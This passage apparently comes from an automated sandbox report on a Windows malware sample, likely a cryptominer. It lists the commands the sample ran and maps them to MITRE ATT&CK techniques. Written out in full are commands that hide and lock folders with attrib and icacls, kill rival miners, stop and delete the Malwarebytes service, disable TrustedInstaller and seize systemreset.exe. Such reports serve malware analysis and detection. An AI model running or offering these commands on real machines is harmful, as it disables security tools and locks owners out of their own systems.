      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\Sysfiles"
      4⤵
      PID:4136
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\AudioDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1492
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appData\Roaming\Sysfiles" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4456
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appData\Roaming\AudioHDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4476
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdriver.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3476
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdriver.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3084
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:824
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\Windowsdriver"
      4⤵
      Views/modifies file attributes
      PID:4908
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\Windowsdriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4620
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Windows\WindowsDefender"
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:1888
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windows\WindowsDefender" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:684
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM bvhost.exe /T /F
      4⤵
      PID:980
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\appdata\roaming\bvhost"
      4⤵
      PID:3008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\bvhost" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5072
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nssm.exe /T /F
      4⤵
      PID:4832
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM infodown.exe /T /F
      4⤵
      Kills process with taskkill
      PID:744
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM infoweb.exe /T /F
      4⤵
      PID:4904
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdeffenders.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5396
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\syswow64\hhsm" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:3716
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windir.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4348
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windir.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3832
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1400
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM lum.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2468
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM syslog.exe /T /F
      4⤵
      PID:448
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\syslog"
      4⤵
      Views/modifies file attributes
      PID:1412
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\syslog /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:4888
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wutphost.exe /T /F
      4⤵
      PID:760
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\wutphost"
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:2324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\wutphost /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:2508
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "Audio Emulation System.exe" /T /F
      4⤵
      Kills process with taskkill
      PID:3584
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM winlg.exe /T /F
      4⤵
      Kills process with taskkill
      PID:1880
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\GoogleSoftware /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1876
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM pythonw.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2788
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM UsersControl.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5976
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM WindowHelperStorageHostSystemThread118466.exe /T /F
      4⤵
      PID:1476
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM WindowHelperStorageHostSystemThread100040.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5804
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM WindowHelperStorageHostSystemThread106333.exe /T /F
      4⤵
      PID:4216
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3440
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wup.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3612
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\local\temp\wup"
      4⤵
      PID:652
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\temp\wup /deny Admin:(OI)(CI)(F)
      4⤵
      PID:972
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\temp\wup /deny system:(OI)(CI)(F)
      4⤵
      PID:5712
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /T /F
      4⤵
      PID:3236
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\DriversI /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5328
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM minergate-cli.exe /T /F
      4⤵
      PID:5836
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM msvc.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4376
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\Svcms"
      4⤵
      PID:3864
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\Svcms /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\Svcms /deny system:(OI)(CI)(F)
      4⤵
      PID:2304
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM FileSystemDriver.exe /T /F
      4⤵
      PID:2100
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\FileSystemDriver"
      4⤵
      Views/modifies file attributes
      PID:544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\FileSystemDriver /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\FileSystemDriver /deny system:(OI)(CI)(F)
      4⤵
      PID:3220
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM geckof.exe /T /F
      4⤵
      PID:5460
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Local\geckof"
      4⤵
      Views/modifies file attributes
      PID:5068
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\geckof /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3732
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\geckof /deny system:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:2956
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM initwin.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2312
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\initwin /deny Admin:(OI)(CI)(F)
      4⤵
      PID:6016
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\initwin /deny system:(OI)(CI)(F)
      4⤵
      PID:4152
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM packagest.exe /F
      4⤵
      PID:3980
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\packagest /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2420
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\packagest /deny system:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:816
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM ursb.exe /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:1680
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hssvc.exe /T /F
      4⤵
      PID:1384
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xmrig.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3704
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\windows\system32\hs /deny Admin:(OI)(CI)(F)
      4⤵
      PID:5956
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM pythonw.exe /T /F
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\gpupdate.exe
      gpupdate /force
      4⤵
      PID:5604
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM CPU.exe /T /F
      4⤵
      PID:5404
  - - C:\Windows\SysWOW64\sc.exe
      sc config trustedinstaller start= Disabled
      4⤵
      Launches sc.exe
      PID:2280
  - - C:\Windows\SysWOW64\sc.exe
      sc stop mbamservice
      4⤵
      Launches sc.exe
      PID:2516
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:2412
  - - C:\Windows\SysWOW64\sc.exe
      sc delete mbamservice
      4⤵
      Launches sc.exe
      PID:4000
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f c:\windows\system32\systemreset.exe
      4⤵
      Possible privilege escalation attempt
      PID:956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls c:\windows\System32\systemreset.exe /setowner Admin
      4⤵
      Possible privilege escalation attempt
      PID:6072
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "c:\windows\System32\systemreset.exe" /grant:r Admin:F
      4⤵
      PID:5316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Hidden Users

T1564.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry